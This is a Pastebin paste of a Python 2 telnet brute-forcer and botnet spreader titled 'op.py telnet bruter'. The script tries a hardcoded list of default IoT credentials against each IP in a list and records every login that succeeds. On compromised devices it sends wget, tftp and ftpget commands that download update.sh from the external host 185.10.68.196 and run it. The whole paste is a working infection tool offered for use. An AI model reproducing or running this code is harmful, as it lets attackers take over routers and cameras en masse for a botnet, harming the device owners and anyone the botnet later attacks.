Advertisement
KekSec

op.py telnet bruter

Aug 5th, 2018
1,624
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.25 KB | None | 0 0
  1. #!/usr/bin/python
  2. import threading
  3. import sys, os, re, time, socket, random,  select
  4. if len(sys.argv) < 4:
  5.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  6.     sys.exit()
  7.  
  8. wget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.196/update.sh -O update.sh; busybox wget http://185.10.68.196/update.sh -O update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #wget command to send
  9. tftp = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r update.sh -g 185.10.68.196; busybox tftp -r update.sh -g 185.10.68.196; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #tftp command to send
  10. ftpget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh"
  11.  
  12. combo = [
  13.         "root:root",
  14.         "root:",
  15.         "admin:admin",
  16.         "support:support",
  17.         "user:user",
  18.         "admin:",
  19.         "admin:password",
  20.         "root:vizxv",
  21.         "root:admin",
  22.         "root:xc3511",
  23.         "root:888888",
  24.         "root:xmhdipc",
  25.         "root:default",
  26.         "root:juantech",
  27.         "root:123456",
  28.         "root:54321",
  29.         "root:12345",
  30.         "root:pass",
  31.         "ubnt:ubnt",
  32.         "root:klv1234",
  33.         "root:Zte521",
  34.         "root:hi3518",
  35.         "root:jvbzd",
  36.         "root:anko",
  37.         "root:zlxx.",
  38.         "root:7ujMko0vizxv",
  39.         "root:7ujMko0admin",
  40.         "root:system",
  41.         "root:ikwb",
  42.         "root:dreambox",
  43.         "root:user",
  44.         "root:realtek",
  45.         "root:00000000",
  46.         "admin:1111111",
  47.         "admin:1234",
  48.         "admin:12345",
  49.         "admin:54321",
  50.         "admin:123456",
  51.         "admin:7ujMko0admin",
  52.         "admin:1234",
  53.         "admin:pass",
  54.         "admin:meinsm",
  55.         "admin:admin1234",
  56.         "root:1111",
  57.         "admin:smcadmin",
  58.         "admin:1111",
  59.         "root:666666",
  60.         "root:password",
  61.         "root:1234",
  62.         "root:klv123",
  63.         "Administrator:admin",
  64.         "service:service",
  65.         "supervisor:supervisor",
  66.         "guest:guest",
  67.         "guest:12345",
  68.         "guest:12345",
  69.         "admin1:password",
  70.         "administrator:1234",
  71.         "666666:666666",
  72.         "888888:888888",
  73.         "tech:tech",
  74.         "mother:fucker"
  75. ]
  76.  
  77. IPs = open(sys.argv[1], "r").read().replace("\r", "").split("\n")
  78. random.shuffle(IPs)
  79.  
  80. threads = int(sys.argv[2])
  81. output_file = sys.argv[3]
  82.  
  83. def readUntil(tn, string, timeout=8):
  84.     buf = ''
  85.     start_time = time.time()
  86.     while time.time() - start_time < timeout:
  87.         buf += tn.recv(1024)
  88.         time.sleep(0.1)
  89.         if string in buf: return buf
  90.     raise Exception('TIMEOUT!')
  91.  
  92. def recvTimeout(sock, size, timeout=8):
  93.     sock.setblocking(0)
  94.     ready = select.select([sock], [], [], timeout)
  95.     if ready[0]:
  96.         data = sock.recv(size)
  97.         return data
  98.     return ""
  99.  
  100. global active
  101. active = 0
  102. global fh
  103. fh = open(output_file, "a")
  104.  
  105. class router(threading.Thread):
  106.     def __init__ (self, ip):
  107.         threading.Thread.__init__(self)
  108.         self.ip = str(ip).rstrip('\n')
  109.     def run(self):
  110.         global active
  111.         global fh
  112.         active += 1
  113.         username = ""
  114.         password = ""
  115.         cracked = False
  116.         for passwd in combo:
  117.             if cracked:
  118.                 break
  119.             if ":n/a" in passwd:
  120.                 password=""
  121.             else:
  122.                 password=passwd.split(":")[1]
  123.             if "n/a:" in passwd:
  124.                 username=""
  125.             else:
  126.                 username=passwd.split(":")[0]
  127.             try:
  128.                 tn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  129.                 tn.settimeout(0.5)
  130.                 tn.connect((self.ip, 23))
  131.             except Exception:
  132.                 try:
  133.                     tn.close()
  134.                 except:
  135.                     pass
  136.                 break
  137.             try:
  138.                 hoho = ''
  139.                 hoho += readUntil(tn, ":")
  140.                 if ":" in hoho:
  141.                     tn.send(username + "\n")
  142.                     time.sleep(0.1)
  143.                 hoho = ''
  144.                 hoho += readUntil(tn, ":")
  145.                 if ":" in hoho:
  146.                     tn.send(password + "\n")
  147.                     time.sleep(0.8)
  148.                 else:
  149.                     pass
  150.                 prompt = ''
  151.                 prompt += tn.recv(8912)
  152.                 if ">" in prompt and "ONT" not in prompt:
  153.                     success = True
  154.                 elif "#" in prompt or "$" in prompt or "root@" in prompt or ">" in prompt:
  155.                     success = True
  156.                 else:
  157.                     tn.close()
  158.                 if success == True:
  159.                     try:
  160.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  161.                         cracked = True
  162.                         fh.write(self.ip + ":23 " + username + ":" + password + "\n")
  163.                         fh.flush()
  164.                         tn.send("sh\r\n")
  165.                         time.sleep(0.1)
  166.                         tn.send("shell\r\n")
  167.                         time.sleep(0.1)
  168.                         tn.send("ls /\r\n")
  169.                         time.sleep(1)
  170.                         timeout = 8
  171.                         buf = ''
  172.                         start_time = time.time()
  173.                         while time.time() - start_time < timeout:
  174.                             buf += recvTimeout(tn, 8912)
  175.                             time.sleep(0.1)
  176.                             if "tmp" in buf and "unrecognized" not in buf:
  177.                                 f = open("infected.txt", "a")
  178.                                 f.write(self.ip + ":23 " + username + ":" + password + "\n")
  179.                                 f.close()
  180.                                 print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  181.                                 tn.send(wget + "\r\n")
  182.                                 time.sleep(10)
  183.                                 tn.send(tftp + "\r\n")
  184.                                 time.sleep(10)
  185.                                 tn.send(ftpget + "\r\n")
  186.                                 time.sleep(10)
  187.                                 tn.close()
  188.                                 break
  189.                         tn.close()
  190.                         break
  191.                     except:
  192.                         tn.close()
  193.                 else:
  194.                     tn.close()
  195.             except Exception:
  196.                 tn.close()
  197.         active -= 1
  198.  
  199. def worker():
  200.     for IP in IPs:
  201.         threadstarted = False
  202.         while not threadstarted:
  203.             if active < threads:
  204.                 try:
  205.                     thread = router(IP)
  206.                     thread.start()
  207.                     threadstarted = True
  208.                 except:
  209.                    pass
  210.  
  211. threading.Thread(target = worker, args = ()).start()
  212. raw_input()
  213. os.kill(os.getpid(), 9)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement